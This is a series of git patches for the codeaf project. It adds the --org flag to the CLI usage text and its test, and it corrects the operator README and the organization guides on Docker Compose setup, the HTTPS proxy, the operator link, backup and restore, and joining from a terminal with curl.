terminal reaches it. The flag law test now requires it there. Co-Authored-By: Claude Sonnet 5.5 --- cmd/codeaf/main.go | 6 +++--- cmd/codeaf/usage_test.go | 6 ++++-- 2 files changed, 7 insertions(+), 5 deletions(-) diff --git a/cmd/codeaf/main.go b/cmd/codeaf/main.go index 546dc9cb43..df2b9a5940 100644 --- a/cmd/codeaf/main.go +++ b/cmd/codeaf/main.go @@ -578,9 +578,9 @@ Talk to it — a surface you sit in front of codeaf open the conversation this directory was last having codeaf chat [--model slug] [--reasoning level] [--session path] [--yolo] - [--host host[:path]] [--at name[:path]] [--once "text"] - [--no-compact] [--one-model] [--no-host] [--debug] - [--max-cost dollars] [--max-hours hours] + [--host host[:path]] [--at name[:path]] [--org https://host] + [--once "text"] [--no-compact] [--one-model] [--no-host] + [--debug] [--max-cost dollars] [--max-hours hours] --no-host stays in this process; --debug keeps the full run record --max-cost and --max-hours bound unattended work and require --yolo codeaf resume diff --git a/cmd/codeaf/usage_test.go b/cmd/codeaf/usage_test.go index ec3303d4b9..2033d08ab7 100644 --- a/cmd/codeaf/usage_test.go +++ b/cmd/codeaf/usage_test.go @@ -262,9 +262,11 @@ func TestACommandsUsageIsReadOutOfTheOneTable(t *testing.T) { // THE USAGE NAMES EVERY FLAG A PERSON CAN TYPE. `--debug` — the whole debug // record feature — and `--no-host` existed on four commands and appeared -// nowhere in the one page a headless caller reads. +// nowhere in the one page a headless caller reads; `--org`, the way into an +// organization's hosted chats from a terminal, was in `chat`'s own usage error +// and nowhere on this page, so an operator reading the page could not find it. func TestTheUsageNamesEveryFlagAPersonCanType(t *testing.T) { - for _, flagName := range []string{"--debug", "--no-host"} { + for _, flagName := range []string{"--debug", "--no-host", "--org"} { if !strings.Contains(usageText, flagName) { t.Fatalf("%s is a flag this binary takes and the usage text never mentions it", flagName) } From 3327dd9abcf7b346a47422e111ca593c93e64d08 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 02:47:51 -0500 Subject: [PATCH 146/176] docs(deploy/org): the operator README, corrected where a stranger's walk of the Compose path found it wrong Followed as a stranger with Docker Compose on one machine. What the README said and what was true: - No step said to clone the repository: the installer on the front page puts only the program on a computer, and the images are built from the checkout. - Ports 8787 and 8080 had to be free, and a taken one stopped `docker compose up` half way ("port is already allocated") with nothing about it in the README. - The keyless way to try an organization (the scripted model) was not written down; the only keyless thing named was smoke.sh, which claims the organization itself and uses the operator link up. Both now say so, and the scripted-model lines are given. - The laptop paragraph said the operator link's `http://[::]:8787` works from the same machine. `[::]` does not connect to the published port, and over 127.0.0.1 the server refuses a password because Docker presents the request from its bridge, not loopback. A trial needs a name and an HTTPS proxy: a verified recipe is added. - `operator-link.sh` is described as printing a link once claimed; the link also expires after 24 hours. - The backup was a bare `tar` into a bind mount: root-owned and world-readable on a default host, containing password hashes, sessions and the organization's token, with no restore, nothing on stopping the services first and nothing on `sessions-data`. Volume names were written as `codeaf-org_` only. Backup and restore are rewritten, and both were run against a live stack. - gitstub is listed under `--profile stub`; it is `--profile gitstub` now. - setup.sh pointed at the smoke test for a keyless start; it points at the scripted model. Co-Authored-By: Claude Sonnet 5.5 --- deploy/org/.env.example | 3 +- deploy/org/README.md | 140 +++++++++++++++++++++++++++++++++------- deploy/org/setup.sh | 2 +- 3 files changed, 121 insertions(+), 24 deletions(-) diff --git a/deploy/org/.env.example b/deploy/org/.env.example index b1507027c2..4222aee53f 100644 --- a/deploy/org/.env.example +++ b/deploy/org/.env.example @@ -56,7 +56,8 @@ SWE_DEFAULT_MODEL=openrouter/deepseek/deepseek-v4-flash-0731 PR_AF_MODEL=deepseek/deepseek-v4-flash-0731 # --- Network --- -# Where the published ports listen. 127.0.0.1 keeps them on this machine; 0.0.0.0 opens them. +# Where the published ports listen. 127.0.0.1 keeps them on this machine; 0.0.0.0 opens them. A port that is already taken on +# the host stops `docker compose up`: change it here (8080 is a common one). CODEAF_BIND=127.0.0.1 CODEAF_PORT=8787 AGENTFIELD_BIND=127.0.0.1 diff --git a/deploy/org/README.md b/deploy/org/README.md index 8142f077b2..d9172b8529 100644 --- a/deploy/org/README.md +++ b/deploy/org/README.md @@ -35,19 +35,24 @@ opt-in profile of the same file. Nothing in an image is a secret; model keys com | `pr-af` | PR-AF, node `pr-af`, called by AgentField over HTTP | none | `pr-af-workspaces` | uid 10003 | | `sessionhost` | the machine hosted chats run on, only with `--profile hosted` (or `COMPOSE_PROFILES=hosted`); see "Hosted chats" | none | `sessions-data` | root, with five capabilities | | `modelstub` | a scripted model, only with `--profile stub` (the keyless smoke test) | none | none | nonroot | -| `gitstub` | a scripted git host, only with `--profile stub` (the hosted part of the smoke test) | none | none | root (a test stub) | +| `gitstub` | a scripted git host, only with `--profile gitstub`; `smoke.sh` turns it on with the hosted part and makes the token it will not start without | none | none | root (a test stub) | A plain `docker compose up` starts the first five; the other three need their profile. Apart from the `sessionhost` and the `gitstub` test stub, every container starts as root only long enough to hand a freshly mounted volume to its user, then drops to that user (`scripts/drop-root.sh`, or the control plane's own entrypoint); the `sessionhost` stays root on purpose, because it has to become a different Linux user for every chat (see "Hosted chats"). Published ports listen on 127.0.0.1 until you change `CODEAF_BIND` / `AGENTFIELD_BIND` in `.env`. +Ports 8787 (`codeaf`) and 8080 (`agentfield`) must be free on the host: if one is taken, `docker compose up` stops with +`port is already allocated` and leaves the services it had not reached created but not started. Set `CODEAF_PORT` or +`AGENTFIELD_PORT` in `.env` (the template lists both) and run it again; the services reach each other over Compose's own +network, so AgentField's host port is only for you to look at it. State is in six named volumes, one per row that names one. There are two networks: `default`, which every service but the `sessionhost` is on, and `hosted`, which only `codeaf` and the `sessionhost` share. ## What you need -- Docker with Compose v2.24 or newer (`docker compose version`), about 4 GB of free memory and 5 GB of disk. +- Docker with Compose v2.24 or newer (`docker compose version`), `git`, about 4 GB of free memory and 5 GB of disk, and + ports 8787 and 8080 free on the host (see "What it runs"). - For anyone who is not on the same machine: **HTTPS**. An organization server takes a password only over HTTPS (or from its own machine), so put a proxy that serves HTTPS in front of port 8787 (see "Other people"). - For real work: an OpenRouter key (`OPENROUTER_API_KEY`) and, to let the nodes clone private repositories and @@ -55,12 +60,16 @@ but the `sessionhost` is on, and `hosted`, which only `codeaf` and the `sessionh ## Start it +The files are this repository: the images are built from your checkout, so clone it first (the installer on the front page +puts only the `codeaf` program on a computer, not these files). + ```sh -cd deploy/org +git clone https://github.com/Agent-Field/codeaf +cd codeaf/deploy/org ./setup.sh # writes .env with fresh secrets: AgentField key, organization token, hosted-chats secret, server key (once) $EDITOR .env # optional: OPENROUTER_API_KEY=..., GH_TOKEN=..., CODEAF_ORG_NAME=... docker compose up -d --build # the first build takes several minutes; later starts take seconds -docker compose ps # every service says "healthy" +docker compose ps # every service says "healthy" (the scripted model, if you turn it on, says only "Up") ``` The first build compiles codeaf from this checkout (several minutes; the repository root is the build context) and builds SWE-AF @@ -69,28 +78,60 @@ and PR-AF from pinned commits of their public repositories. codeaf is built from `CODEAF_BINARY_FROM=fetch docker compose up -d --build` downloads the pinned release instead (checked against its sha256); `compose.yaml` says how to tell when `fetch` can be the default again. +### Without a model key + +To see the whole organization work before you spend anything, point every model call at the scripted model (profile `stub`), +which answers a message with `STUB noted: `. Add these to `.env` (they are the values of `.env.stub`, plus the +hosted ones of `.env.stub.hosted` that matter for a first chat), then `docker compose up -d --build`: + +```sh +COMPOSE_PROFILES=hosted,stub +CODEAF_HOSTED_URL=http://sessionhost:8790 +CODEAF_HOSTED_MODEL_UPSTREAM=http://modelstub:8890/api/v1 +CODEAF_HOSTED_MODEL_KEY=stub-hosted-org-key-0001 +CODEAF_SESSIONHOST_MODEL=stub/scripted +CODEAF_BASE_URL=http://modelstub:8890/api/v1 +OPENROUTER_API_KEY=stub-key +ORG_MODEL=stub/scripted +SWE_DEFAULT_MODEL=openrouter/stub/scripted +PR_AF_MODEL=stub/scripted +``` + +Put your own keys back and drop `stub` from `COMPOSE_PROFILES` when you are done. `./smoke.sh` is a different thing: it runs a +scripted check of the stack and uses the operator link up itself (see "The keyless smoke test"). + ## Claim the organization, invite a second person ```sh -./operator-link.sh # prints the operator access link (a secret; it works once) +./operator-link.sh # prints the operator access link (a secret; it works once, and for 24 hours) ``` -On a laptop the link names `http://[::]:8787`. That is the address the server gives itself (its listen address) and a -link is only accepted with exactly that address, so it is not rewritten. A connection to `[::]` reaches the local -machine on Linux and macOS, so the desktop app on the same machine can use it; Windows cannot, and nobody on another -machine can. For them, serve the organization on a public HTTPS name (see "Other people") and the link names that. +The link names the address the server knows itself by, and that decides who can use it: + +- **With `CODEAF_PUBLIC_DOMAIN` set and an HTTPS proxy in front** (see "Other people: HTTPS") the link names + `https://` and works from any computer. That is how an organization is run, and the setup in which a password + sign-in is accepted. +- **Without it** the link names `http://[::]:8787`, the server's own listen address, which a link is only accepted with. + Do not use it, even on the machine running Compose. The published port listens on 127.0.0.1 only, and `[::]` did not + connect to it when this was tried. Over `http://127.0.0.1:8787` the server answers, but it refuses a password + (`Passwords are only sent to this server over https.`): Docker hands a request to the container from its bridge, not from + loopback, so the server does not take it for its own machine. For a trial on one computer, give the stack a name and an + HTTPS proxy as in "Trying it on one machine". + +`./operator-link.sh` prints a link only while the server says it can still claim the organization. Once the organization is +claimed, or the link is older than 24 hours, it says so and prints nothing. If nobody has claimed it yet, +`docker compose restart codeaf` prints a fresh link and retires the older ones. 1. Open that `codeaf://factory/join?operator=true...` link in the codeaf desktop app (or paste it into **Join an organization...**). Choose a username and a password. Whoever uses the link first is the operator, - so keep it to yourself until you have. + so keep it to yourself until you have. Without the desktop app, the same thing is one request to the server: + see "From a terminal" in [docs/organizations.md](../../docs/organizations.md#from-a-terminal). 2. From **People** (Settings, Organizations, your organization), the operator uses **Invite someone** for the second person. Without `CODEAF_SMTP_URL` nothing is emailed and the button reads **Copy an invite link**; the link works for 7 days and for one person. They paste it into **Join an organization...** on their own computer and - choose their own username and password. + choose their own username and password. (From a terminal: the same page, "From a terminal".) 3. A codeaf client connects to this organization with the server's URL, which is inside the link: your public - HTTPS name, or `http://[::]:8787` on the machine running Compose. - -If the operator link is lost before anyone used it, `docker compose restart codeaf` prints a fresh one. + HTTPS name. **A request from the server's own computer is not trusted.** An organization server never takes a request to be a person because of where it came from: a request from the server's own computer that carries no sign-in, token or bot @@ -118,7 +159,33 @@ CODEAF_BIND=127.0.0.1 # the proxy runs on this machine; For example Caddy, on the same host: `org.example.com { reverse_proxy 127.0.0.1:8787 }`. Links the server prints then name `https://org.example.com`. Without `CODEAF_TRUSTED_PROXIES` the server sees every request as plain HTTP -and refuses passwords with "Passwords are only sent to this server over https". +and refuses passwords with "Passwords are only sent to this server over https". Check it from outside: +`curl https://org.example.com/v1/about` must say `"scheme": "https"`. The server logs `warning: serving plain HTTP on +[::]:8787` at every start, behind a proxy too: it speaks plain HTTP to the proxy, and that is expected. + +### Trying it on one machine + +A trial needs the same three things a real name does: a name, an HTTPS proxy on it, and the proxy's certificate trusted by +whatever connects. `localhost` is refused as `CODEAF_PUBLIC_DOMAIN` (no certificate authority issues one for it), so use a +name with a dot that resolves to 127.0.0.1: every name under `localtest.me` does in public DNS (offline, put one in +`/etc/hosts`). Caddy can run as a container on Compose's network and make its own certificate authority. The default project +is `codeaf-org` (`name:` in `compose.yaml`); `docker network ls` shows the network if you set another. + +```sh +# .env +CODEAF_PUBLIC_DOMAIN=codeaf.localtest.me +CODEAF_TRUSTED_PROXIES=172.16.0.0/12 # or the range `docker network inspect codeaf-org_default` prints + +docker compose up -d --build +docker run -d --name org-https --network codeaf-org_default -p 127.0.0.1:443:443 caddy:2.10.2 \ + caddy reverse-proxy --from https://codeaf.localtest.me --to http://codeaf:8787 --internal-certs +docker cp org-https:/data/caddy/pki/authorities/local/root.crt ./caddy-root.crt # the authority to trust +curl --cacert ./caddy-root.crt https://codeaf.localtest.me/v1/about # "scheme": "https" +``` + +Run `./operator-link.sh` after that, so the link names `https://codeaf.localtest.me`. On Linux the `codeaf` command trusts the +authority through `SSL_CERT_FILE=./caddy-root.crt`; a program that uses the system's trust store (the desktop app) needs the +file added to it, which was not tried here. Port 443 on the host must be free. `docker rm -f org-https` removes the proxy. - **Browser chat connections.** A WebSocket upgrade with an `Origin` header is accepted only if the header names the host the request was sent to or the public name set with `CODEAF_PUBLIC_DOMAIN`. Otherwise the server returns `403` with @@ -141,7 +208,10 @@ and SWE-AF pauses at its plan so the owner can approve it or ask for changes. ``` It restarts the stack against the scripted stub (so nothing is spent, whatever keys `.env` holds) and checks, -printing `PASS` or `FAIL` for each: +printing `PASS` or `FAIL` for each. **Run it on a stack nobody has claimed**: it claims the organization itself, with +throwaway people, which uses the operator link up (afterwards `./operator-link.sh` has nothing to print), and on a stack +that is already claimed it stops at that step. To go from a smoke run to a real organization, `docker compose down -v` +(that deletes every volume) and start again: - every service is healthy; AgentField, SWE-AF, PR-AF and the factory are registered; PR-AF answers a call; - the operator link claims the organization once, a second person joins by invite, roles are enforced; @@ -417,17 +487,42 @@ Landlock (`"mode": "uid+fence"`, `"fence_mode": "landlock"`). ## State, backups and upgrades -State lives in six named volumes (`docker volume ls`, prefix `codeaf-org_`): `agentfield-data`, `codeaf-data`, +State lives in six named volumes (`docker volume ls`; each name is the Compose project's name, `codeaf-org` unless you set `-p` or +`COMPOSE_PROJECT_NAME`, then `_` and the volume, as below): `agentfield-data`, `codeaf-data`, `runner-data`, `swe-af-workspaces`, `pr-af-workspaces`, and `sessions-data` (the hosted chats' folders, used only with the `hosted` profile). `docker compose down` keeps them, `docker compose down -v` deletes them. The organization server's own state (its people, access links, spend and sealed keys) is in `codeaf-data` and the hosted chats' folders are in -`sessions-data`; back `codeaf-data` up together with `.env`, which holds the server key that seals people's own keys. -A backup of one volume: +`sessions-data`. **Back up `codeaf-data` together with `.env`** (which holds the server key that seals people's own keys), and +`sessions-data` too if the hosted chats' files matter: the server's list of chats and the chats' machine hold one state between +them, so copy the two at the same moment and restore both. The archive holds people's password hashes, their sign-in sessions +and the organization's access token, so treat it like `.env`: make it readable by you alone (`umask 077`) and keep it off the +host it came from. Stop the services that write while you copy, so the files come from one moment: ```sh -docker run --rm -v codeaf-org_codeaf-data:/d -v "$PWD":/b busybox tar czf /b/codeaf-data.tgz -C /d . +umask 077 +docker compose stop codeaf sessionhost # leave sessionhost out where hosted chats are off +docker run --rm -v codeaf-org_codeaf-data:/d busybox tar czf - -C /d . > codeaf-data.tgz +docker run --rm -v codeaf-org_sessions-data:/d busybox tar czf - -C /d . > sessions-data.tgz # "socket ignored" lines are fine +docker compose start codeaf sessionhost ``` +The archive goes to standard output, so it is a file of yours; with a `-v "$PWD":/b` mount instead, root owns it and the host's +default mode applies, and some Docker setups refuse the mount. `agentfield-data` holds the runs AgentField has recorded: copy it +the same way if you want them (the nodes register again by themselves on every start). + +**Restore** into the same Compose project, services stopped and the volume emptied first. On a new machine put the saved `.env` +back before the first start: without its `CODEAF_SERVER_KEY` the server refuses to start rather than carry on. + +```sh +docker compose stop codeaf sessionhost +docker run --rm -v codeaf-org_codeaf-data:/d busybox sh -c 'rm -rf /d/* /d/.[!.]*' +docker run --rm -i -v codeaf-org_codeaf-data:/d busybox tar xzf - -C /d < codeaf-data.tgz +# the same two lines with sessions-data and sessions-data.tgz +docker compose up -d codeaf sessionhost +``` + +The people, their sign-ins, the invitations and the chats come back as they were. + Everything outside this checkout is pinned: the codeaf release that `CODEAF_BINARY_FROM=fetch` downloads (`CODEAF_RELEASE` and its two sha256 values at the top of `codeaf.Dockerfile`), the SWE-AF and PR-AF commits (`SWEAF_REF`, `PRAF_REF`) and the AgentField image (`AGENTFIELD_IMAGE`, tag and digest together in `agentfield.Dockerfile`). The default build does not download a codeaf at all: @@ -458,7 +553,7 @@ repository from an organization that has not installed Railway's GitHub App but | `agentfield/codeaf-org-agentfield` | the published AgentField control plane, pinned by digest (built with `-tags "embedded sqlite_fts5"`), plus a health check and a volume hand-off | `agentfield` | | `agentfield/codeaf-org-swe-af` | SWE-AF at the commit `swe-af.Dockerfile` pins | `swe-af` | | `agentfield/codeaf-org-pr-af` | PR-AF at the commit `pr-af.Dockerfile` pins | `pr-af` | -| `agentfield/codeaf-org-modelstub`, `agentfield/codeaf-org-gitstub` | the keyless smoke test's scripted model and git host | `modelstub`, `gitstub` (profile `stub`) | +| `agentfield/codeaf-org-modelstub`, `agentfield/codeaf-org-gitstub` | the keyless smoke test's scripted model and git host | `modelstub` (profile `stub`), `gitstub` (profile `gitstub`) | The names all start with `codeaf-org` so none can be mistaken for `agentfield/control-plane`, which `codeaf-org-agentfield` is built on. Tags: `<12-character commit id>` is one exact build and never moves; `dev` moves with every push to `dev`; @@ -670,7 +765,8 @@ kernel, and the public name serves over HTTPS. None of them makes a model call o - The organization keeps no canvases: the server needs a `canvas` program beside it, which this stack does not carry. It starts, says so in its log, and leaves the canvas routes off. - The server names itself by its listen address, so without `CODEAF_PUBLIC_DOMAIN` its links say `http://[::]:8787`, - which only the same Linux or macOS machine can use. A real deployment serves HTTPS on a name. + which does not connect to the published port and which the server would not take a password over anyway. Even a trial needs + a name and an HTTPS proxy ("Trying it on one machine"); a real deployment serves HTTPS on a name. - GitHub sign-in (`CODEAF_GITHUB_CLIENT_ID`) and invitation mail (`CODEAF_SMTP_URL`) are optional and untested here; username and password is the default way in. - `scripts/serve.sh` writes the organization server's host config from the environment on every start, so a setting with diff --git a/deploy/org/setup.sh b/deploy/org/setup.sh index fd5567c934..fb9f453caf 100755 --- a/deploy/org/setup.sh +++ b/deploy/org/setup.sh @@ -36,4 +36,4 @@ sed -e "s/^AGENTFIELD_API_KEY=.*/AGENTFIELD_API_KEY=$(random)/" \ -e "s/^CODEAF_SERVER_KEY=.*/CODEAF_SERVER_KEY=$(random)/" .env.example > .env echo "Wrote .env with a new AgentField key, organization token, hosted-chats secret and server key." echo "Keep a copy of CODEAF_SERVER_KEY somewhere safe: the keys people store are sealed with it and cannot be opened without it." -echo "Add OPENROUTER_API_KEY (and GH_TOKEN) to run real work, or use the keyless smoke test (see README.md)." +echo "Add OPENROUTER_API_KEY (and GH_TOKEN) to run real work, or use the scripted model to try it first (README.md, \"Without a model key\")." From a59f2b2314ed664a3183b8d2e6877e386317f51d Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 02:47:51 -0500 Subject: [PATCH 147/176] docs: organizations.md and the guide, corrected and given a terminal path The ten minutes assumed a desktop app at three steps and a checkout it never told you to make. A person on a terminal could not join: nothing said where the sign-in token for `codeaf chat --org` comes from, how an invitation is made or redeemed without the app, or how a chat is shared (the manual says the app has no sharing buttons yet and the README names the route without its body). "From a terminal" now gives each request, verified against a running stack, and "Sharing a chat" gives the share. The guide listed no `--org`. Also written down: that a password needs HTTPS even from the server's own machine, which Docker does not present as its own; that the released `codeaf` has no `--org` yet; and that a guest's refused `--once` on a stopped chat starts it for the owner in one-shot mode and blocks the owner's window until the chat is stopped. Co-Authored-By: Claude Sonnet 5.5 --- docs/GUIDE.md | 4 ++ docs/organizations.md | 105 +++++++++++++++++++++++++++++++++++------- 2 files changed, 93 insertions(+), 16 deletions(-) diff --git a/docs/GUIDE.md b/docs/GUIDE.md index 35be02477b..9215abb5bf 100644 --- a/docs/GUIDE.md +++ b/docs/GUIDE.md @@ -174,6 +174,7 @@ mid-turn; twice within 1.5 seconds while idle quits. | `--no-compact` | Never compact automatically. | | `--one-model` | Put every text call on the session model. | | `--host`, `--at`, `--no-host` | Choose where the session runs and how this surface attaches. | +| `--org ` | Run the chat on your organization's server, one hosted chat per `--session hs_...`. Sign in with `CODEAF_ORG_TOKEN` or `codeaf attach --token `; see [Organizations](organizations.md). | | `--debug` | Keep the full run record. | | `--max-hours`, `--max-cost` | Bound an unattended `--yolo` session. | @@ -436,6 +437,9 @@ remote task room steering, stopping and model changes are absent. Read [remote access](REMOTE.md) and its [testing guide](remote-access-testing.md). +To run chats on a server your company hosts instead, `codeaf chat --org https://your-organization`; [Organizations](organizations.md) +says how to stand one up with Docker Compose, join it and share a chat, from a terminal as well as the desktop app. + ## Contributing Branch from `dev` and open the pull request against `dev`; `main` is the release pointer. diff --git a/docs/organizations.md b/docs/organizations.md index 1b054c429c..bec9d16376 100644 --- a/docs/organizations.md +++ b/docs/organizations.md @@ -9,9 +9,9 @@ from inside the running chat is the manual's `organization-*.md` pages (`interna Two readers: - **The operator** is whoever hosts the organization (an IT person at a company). Read "What runs where", "The ten - minutes" and "What the operator can and cannot see". + minutes", "From a terminal" and "What the operator can and cannot see". - **A person** is someone who joins one and uses it from the desktop app or the terminal. Read "Joining and working in - one", "Sharing a chat" and "What the operator can and cannot see". + one", "From a terminal", "Sharing a chat" and "What the operator can and cannot see". ## What an organization is @@ -113,6 +113,19 @@ read along without acting as you. The server sends each person's verbs with every chat row, and the client only hides the controls it was not given. Taking a share away ends the guest's open window within a few seconds (`CODEAF_HOSTED_HEARTBEAT`, five by default). +**From a terminal.** The desktop app has no sharing buttons for chats yet, so the owner shares one with a request. The +chat's name, `hs_...`, is in the owner's list; the share names a person by username and a role: + +```sh +curl -sS "$ORG/v1/hosted/sessions" -H "Authorization: Bearer $TOKEN" # "sessions": [{"id":"hs_...", ...}] +curl -sS -X POST "$ORG/v1/resources/session/$CHAT/grants" -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \ + -d '{"subject":{"kind":"person","id":"owner"},"role":"view"}' # 201 +``` + +The person then sees the chat under `shared` in their own list, with the verbs they hold, and opens it with +`codeaf chat --org $ORG --session $CHAT`. At `view` they watch, and a message they send is refused in the chat's own words: +`You can watch this chat, but you were not given permission to send messages in it. Ask its owner.` + ## Bots A person can make a **bot**: a named identity with its own token (`cbt_...`, shown once, kept only as a hash) for a @@ -141,18 +154,21 @@ Compose stack cannot turn it on. ## The ten minutes -You need Docker with Compose v2.24 or newer, 4 GB of free memory, and a Linux host (Linux 6.12 or newer for the full -sandbox; see the sandbox note below). For real work add an OpenRouter key. For anyone who is not on the same -machine you need an HTTPS name in front of port 8787. +You need `git`, Docker with Compose v2.24 or newer, 4 GB of free memory, ports 8787 and 8080 free on the host, and a +Linux host (Linux 6.12 or newer for the full sandbox; see the sandbox note below). For real work add an OpenRouter key; to +try it first, the scripted model needs none. For anyone to sign in with a password, **including you on the same machine**, +you need an HTTPS name in front of port 8787: the server takes a password only over HTTPS, and Docker does not hand it a +request from the machine's own address ("Trying it on one machine" in the operator README is the one-computer version). **On Railway instead of Docker?** Skip to "Railway" in the [operator README](../deploy/org/README.md#railway): it has the services and variables to set, how to get the source onto Railway, the operator link and the checks. Railway serves the HTTPS name, so steps 1 to 3 below are replaced by that section, and steps 4 and 5 are the same. -**1. Set it up.** +**1. Get the files and set it up.** The files are this repository, and the images are built from your checkout. ```sh -cd deploy/org +git clone https://github.com/Agent-Field/codeaf +cd codeaf/deploy/org ./setup.sh # writes .env with fresh secrets; never prints one $EDITOR .env # set the lines below, then save a copy of .env somewhere safe ``` @@ -168,13 +184,16 @@ CODEAF_PUBLIC_DOMAIN=codeaf.example.com # only when a proxy serves HT CODEAF_TRUSTED_PROXIES= ``` +No model key yet? "Without a model key" in the [operator README](../deploy/org/README.md#without-a-model-key) has the lines +that point every call at a scripted model, which answers `STUB noted: ` and spends nothing. + **2. Start it.** Compose builds the codeaf image from this checkout by default (`CODEAF_BINARY_FROM=source`), because no published release has `codeaf sessionhost` yet. Do not set `CODEAF_BINARY_FROM=fetch` when hosted chats are on. Published images work too, once they exist: see "Published images" in the operator README. ```sh docker compose up -d --build -docker compose ps # every service says "healthy" +docker compose ps # every service says "healthy" (the scripted model says "Up") docker compose exec sessionhost codeaf sessionhost probe # "ok": true on a machine that can keep chats apart ``` @@ -188,19 +207,22 @@ alone, with no limit on what a chat's commands can reach, and it warns in every **3. Claim the organization.** ```sh -./operator-link.sh # prints the operator link; it is a secret and works once +./operator-link.sh # prints the operator link; it is a secret, works once and lasts 24 hours ``` (On Railway the link is in the `codeaf` service's log; `deploy/org/railway/operator-link.sh` prints it.) -Open that `codeaf://factory/join?operator=true...` link in the desktop app (or paste it into **Join an organization...**) -and choose a username and password. Whoever uses it first is the operator, so keep it to yourself until you have. If it -is lost before anyone used it, `docker compose restart codeaf` prints a fresh one. +The link names your HTTPS name, so set `CODEAF_PUBLIC_DOMAIN` before you ask for it. Without one it names `http://[::]:8787`, which +does not connect. Open that `codeaf://factory/join?operator=true...` link in the desktop app (or paste it into **Join an +organization...**) and choose a username and password; with no desktop app, "From a terminal" below does the same. Whoever +uses it first is the operator, so keep it to yourself until you have. `./operator-link.sh` prints nothing once the +organization is claimed. If the link is lost or too old before anyone used it, `docker compose restart codeaf` prints a +fresh one. **4. Invite a person.** In the desktop app, Settings, Organizations, your organization, **People**: **Invite someone**. Without `CODEAF_SMTP_URL` nothing is emailed; the button gives you a link to copy. It works for seven days and for one person. They paste it into **Join an organization...** on their own computer and choose their own username and -password (a passkey or GitHub if the server takes them). +password (a passkey or GitHub if the server takes them). From a terminal, see "From a terminal" below. **5. Run a first hosted chat.** In the desktop app, switch from Personal to the organization and start a new chat there; it runs on the sessionhost. From a terminal: @@ -210,11 +232,58 @@ CODEAF_ORG_TOKEN= codeaf chat --org https://codeaf.example.c ``` `--org` takes `https://` for a real server (plain `http://` only for the computer you are on), opens your most recent -chat or makes your first, and a chat shared with you opens with `--session hs_...`. It needs the sign-in token your -organization gave you in `CODEAF_ORG_TOKEN`, or kept once with `codeaf attach --token `. +chat or makes your first, and a chat shared with you opens with `--session hs_...`. It needs your sign-in token in +`CODEAF_ORG_TOKEN`, or kept once with `codeaf attach --token ` (that also makes this computer's new codeaf +windows use the organization's factory until `codeaf detach`). The token is the `access_token` that joining or signing in +answers with: "From a terminal" below shows both. The `codeaf` that runs it has to be new enough to have the flag +(`codeaf chat --help` lists `--org`); no stable release has it yet, so build `bin/codeaf` from the checkout with `make build`. To check the whole stack without spending anything: `SMOKE_HOSTED=1 ./smoke.sh` (it runs against a scripted model and -needs an image that has `codeaf sessionhost`; the operator README says how to point it at yours). +needs an image that has `codeaf sessionhost`; the operator README says how to point it at yours). It claims the organization +itself, with throwaway people, so run it on a stack nobody has claimed, and `docker compose down -v` before the real set-up. + +## From a terminal + +Joining is one request to the server, the one the desktop app sends, so a person with no desktop app can do it with `curl`. +Set the address once, and add `--cacert ./caddy-root.crt` to each `curl` if your proxy's certificate is not from a public +authority ("Trying it on one machine" in the operator README): + +```sh +ORG=https://codeaf.example.com +``` + +**Claim it, as the operator**, with the link `./operator-link.sh` printed: + +```sh +LINK='codeaf://factory/join?operator=true&url=...#token=...' +curl -sS "$ORG/v1/factory-access" -H 'Content-Type: application/json' \ + -d "{\"verb\":\"sign_up\",\"link\":\"$LINK\",\"username\":\"owner\",\"password\":\"twelve or more characters\",\"name\":\"Your Name\"}" +``` + +The answer holds `"state":"joined"` and an `"access_token"`: your sign-in token. Keep it like a password; it ends after 30 +days without use, or 90 days at most. A refusal is not an error code: the answer is `200` with `"state":"ready"` and a +`"message"` (`A password cannot contain your username.`), and a link already used says `"state":"used_up"`. + +**Invite a person**, as the operator, with the token from above: + +```sh +curl -sS -X POST "$ORG/v1/access/links" -H "Authorization: Bearer $OPERATOR_TOKEN" -H 'Content-Type: application/json' -d '{}' +``` + +`link.url` in the answer is the invitation: one person, seven days. The person joins with the same `sign_up` request, giving that +link and a username and password of their own, and keeps their `access_token` as `CODEAF_ORG_TOKEN`: + +```sh +CODEAF_ORG_TOKEN= codeaf chat --org $ORG +``` + +**Sign in again** when a token has ended or on another computer, with no link: + +```sh +curl -sS "$ORG/v1/auth/password" -H 'Content-Type: application/json' -d '{"username":"priya","password":"..."}' +``` + +It answers with an `access_token` the same way. ## Joining and working in one @@ -244,6 +313,10 @@ needs an image that has `codeaf sessionhost`; the operator README says how to po about the keyboard. It goes through when the owner has no window open, or after the guest takes the keyboard (allowed with `run`). Interrupting and answering are not affected. A tool-use approval stays with the owner, so a command that needs one waits for the owner. +- A guest who runs `codeaf chat --org ... --session ... --once` on a chat that is not running starts it for its owner in that + one-shot mode, even when the guest's own message is refused. The owner's window then reads `this conversation is already + open in a different interactive or headless mode; close it before retrying` until the chat is stopped (the owner's stop, or + `POST /v1/hosted/sessions//stop`) or stops itself when idle. - By default only the owner moves a chat between My space and a workstream; the policy's `chats.move_by` set to `manage` lets people with the `manage` verb on the chat move it too (never into their own My space, never a bot). - `local_sessions` `allow` and `warn` are reported and stored; nothing in a client acts on them yet. From 9c94d7698f41e6c62f74d3587fd21aaa6589c6a9 Mon Sep 17 00:00:00 2001 From: Abir Abbas Date: Wed, 25 Nov 2026 02:47:51 -0500 Subject: [PATCH 148/176] manual: how to join an organization from a terminal, and the HTTPS a trial needs THE MANUAL LAW for the two pages the walk found wrong. organization-start said anyone "connecting from another computer" needs HTTPS, which let the person on the same machine believe they did not; it now says everyone does and why, and what the operator link names without a public name. organization-hosted-sessions said the `--org` sign-in token was set or kept but never where it comes from; a section in the asker's words (join or sign in from a terminal, no desktop app) says, and the share request now carries its body. Four probes in their own words are added. Co-Authored-By: Claude Sonnet 5.5 --- .../manual/chat/organization-hosted-sessions.md | 13 +++++++++++-- internal/manual/chat/organization-start.md | 2 +- internal/manual/chat_test.go | 5 +++++ 3 files changed, 17 insertions(+), 3 deletions(-) diff --git a/internal/manual/chat/organization-hosted-sessions.md b/internal/manual/chat/organization-hosted-sessions.md index e490a0ad9e..ab2c2f4912 100644 --- a/internal/manual/chat/organization-hosted-sessions.md +++ b/internal/manual/chat/organization-hosted-sessions.md @@ -26,10 +26,19 @@ codeaf chat --org https://your-organization --session hs_0123456789abcdef0123456 With no `--session`, it opens the chat you used most recently, or makes your first one if you have none. `--session` takes the name of a chat, which looks 